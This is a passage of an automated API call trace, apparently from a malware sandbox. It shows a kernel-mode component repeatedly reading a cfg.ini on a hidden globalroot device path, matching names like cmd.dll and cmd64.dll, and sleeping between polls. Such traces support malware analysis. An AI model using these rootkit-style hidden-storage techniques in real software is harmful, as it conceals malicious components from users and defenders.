Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.436] KeLeaveCriticalRegion () [0123.436] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.436] KeEnterCriticalRegion () [0123.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.436] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.436] IdePortDispatch () returned 0x103 [0123.436] KeWaitForMutexObject () returned 0x0 [0123.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.436] KeLeaveCriticalRegion () [0123.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.436] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.436] KeEnterCriticalRegion () [0123.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0123.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.436] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.436] IdePortDispatch () returned 0x103 [0123.436] KeWaitForMutexObject () returned 0x0 [0123.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.437] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.437] IdePortDispatch () returned 0x103 [0123.437] KeWaitForMutexObject () returned 0x0 [0123.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.437] KeLeaveCriticalRegion () [0123.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.437] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.437] KeEnterCriticalRegion () [0123.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.437] KeLeaveCriticalRegion () [0123.437] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.437] KeEnterCriticalRegion () [0123.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.437] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.438] KeLeaveCriticalRegion () [0123.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.438] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.438] KeEnterCriticalRegion () [0123.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.438] ExFreePoolWithTag (P=0xfffffa80036083e0, Tag=0x0) [0123.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.438] KeLeaveCriticalRegion () [0123.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.438] ReleaseMutex (hMutex=0xf0) returned 1 [0123.438] Sleep (dwMilliseconds=0x124f80) [0123.452] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.452] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.452] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.452] KeEnterCriticalRegion () [0123.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.452] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.453] IdePortDispatch () returned 0x103 [0123.453] KeWaitForMutexObject () returned 0x0 [0123.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.453] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.453] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.453] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.453] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.453] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec010 [0123.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.453] KeLeaveCriticalRegion () [0123.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.453] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.453] KeEnterCriticalRegion () [0123.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.453] KeLeaveCriticalRegion () [0123.453] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.453] KeEnterCriticalRegion () [0123.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.453] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.453] IdePortDispatch () returned 0x103 [0123.453] KeWaitForMutexObject () returned 0x0 [0123.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.454] KeLeaveCriticalRegion () [0123.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.454] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.454] KeEnterCriticalRegion () [0123.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0123.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.454] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.454] IdePortDispatch () returned 0x103 [0123.454] KeWaitForMutexObject () returned 0x0 [0123.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.454] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.454] IdePortDispatch () returned 0x103 [0123.455] KeWaitForMutexObject () returned 0x0 [0123.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.455] KeLeaveCriticalRegion () [0123.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.455] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.455] KeEnterCriticalRegion () [0123.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.455] KeLeaveCriticalRegion () [0123.456] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.456] KeEnterCriticalRegion () [0123.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.456] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.456] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb0c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.456] KeLeaveCriticalRegion () [0123.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.456] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.456] KeEnterCriticalRegion () [0123.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.456] ExFreePoolWithTag (P=0xfffffa8003bec010, Tag=0x0) [0123.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.456] KeLeaveCriticalRegion () [0123.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.456] ReleaseMutex (hMutex=0xf0) returned 1 [0123.456] Sleep (dwMilliseconds=0x124f80) [0123.470] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.470] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.470] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.470] KeEnterCriticalRegion () [0123.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.470] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.470] IdePortDispatch () returned 0x103 [0123.470] KeWaitForMutexObject () returned 0x0 [0123.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.470] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.470] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.470] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.470] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.470] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb590 [0123.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.470] KeLeaveCriticalRegion () [0123.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.471] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.471] KeEnterCriticalRegion () [0123.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.471] KeLeaveCriticalRegion () [0123.471] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.471] KeEnterCriticalRegion () [0123.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.471] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.471] IdePortDispatch () returned 0x103 [0123.471] KeWaitForMutexObject () returned 0x0 [0123.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.471] KeLeaveCriticalRegion () [0123.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.471] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.471] KeEnterCriticalRegion () [0123.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0123.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.471] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.471] IdePortDispatch () returned 0x103 [0123.471] KeWaitForMutexObject () returned 0x0 [0123.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.472] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.472] IdePortDispatch () returned 0x103 [0123.472] KeWaitForMutexObject () returned 0x0 [0123.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.472] KeLeaveCriticalRegion () [0123.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.472] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.472] KeEnterCriticalRegion () [0123.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.472] KeLeaveCriticalRegion () [0123.472] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.472] KeEnterCriticalRegion () [0123.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.472] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.472] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.472] KeLeaveCriticalRegion () [0123.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.473] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.473] KeEnterCriticalRegion () [0123.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.473] ExFreePoolWithTag (P=0xfffffa8003beb590, Tag=0x0) [0123.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.473] KeLeaveCriticalRegion () [0123.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.473] ReleaseMutex (hMutex=0xf0) returned 1 [0123.473] Sleep (dwMilliseconds=0x124f80) [0123.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.490] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.490] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.490] KeEnterCriticalRegion () [0123.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.490] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.490] IdePortDispatch () returned 0x103 [0123.490] KeWaitForMutexObject () returned 0x0 [0123.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.491] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.491] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb1e0 [0123.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] KeLeaveCriticalRegion () [0123.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.491] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.491] KeEnterCriticalRegion () [0123.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] KeLeaveCriticalRegion () [0123.491] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.491] KeEnterCriticalRegion () [0123.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.491] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.491] IdePortDispatch () returned 0x103 [0123.491] KeWaitForMutexObject () returned 0x0 [0123.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] KeLeaveCriticalRegion () [0123.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.491] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.491] KeEnterCriticalRegion () [0123.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0123.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.491] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.492] IdePortDispatch () returned 0x103 [0123.492] KeWaitForMutexObject () returned 0x0 [0123.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 